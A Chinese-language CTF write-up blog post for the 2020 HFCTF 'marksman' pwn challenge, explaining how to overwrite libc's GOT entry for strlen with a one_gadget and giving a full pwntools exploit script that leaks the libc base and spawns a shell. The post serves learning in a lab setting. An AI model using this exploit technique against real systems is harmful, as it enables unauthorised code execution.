2020 HFCTF

marksman

题目链接

查看题目保护

保护全开,这题的泄漏非常简单,这里就直接说利用方法。在程序的最后会调用puts函数,而在puts中会调用strlen函数,我们可以通过修改libc的got表为one_gadget来获取shell。

用readelf -S libc.so.6查看sections headers,如下

可以看到.got.plt section的起始偏移是0x3eb000。用IDA打开libc.so.6,跳转到0x3eb000附近,就可以找strlen函数在libc got表中的地址,如下

接下来修改这个地址中的值为one_gadget即可。这里使用的one_gadget是加了-l 2参数查出来的,最基本的几个不能使用。

在查看realloc和calloc在.got.plt中对应的表项时发现存放的不是函数的真实地址,而是libc中.plt section的地址,有点疑惑,libc内部部分函数也使用延迟绑定技术?

exp如下:

# coding:utf8
from pwn import *
context(log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
elf = ELF('hfctf_2020_marksman')
#libc = elf.libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

def exploit():
    p = process('./hfctf_2020_marksman', env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
    #p = remote('node3.buuoj.cn', 26069, env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
    #p = remote('node3.buuoj.cn', 26069)

    p.recvuntil('near: ')
    libc_base = int(p.recv(14), 16) - libc.sym['puts']
    info("libc_base ==> " + hex(libc_base))
    one_gadget = libc_base + 0xe58bf
    info("one_gadget ==> " + hex(one_gadget))

    # 打libc的got表
    target = libc_base + 0x3eb0a8
    info("target ==> " + hex(target))

    p.recvuntil('shoot!shoot!\n')
    p.send(str(target) + '\n')
    #gdb.attach(p, 'b * $rebase(0xd63)\nc')
    p.sendlineafter('biang!\n', p64(one_gadget)[0])
    p.sendlineafter('biang!\n', p64(one_gadget)[1])
    p.sendlineafter('biang!\n', p64(one_gadget)[2])

    p.interactive()
    p.close()
if __name__ == '__main__':
    exploit()

 

posted @ 2020-11-09 22:20  countfatcode  阅读(235)  评论(0编辑  收藏  举报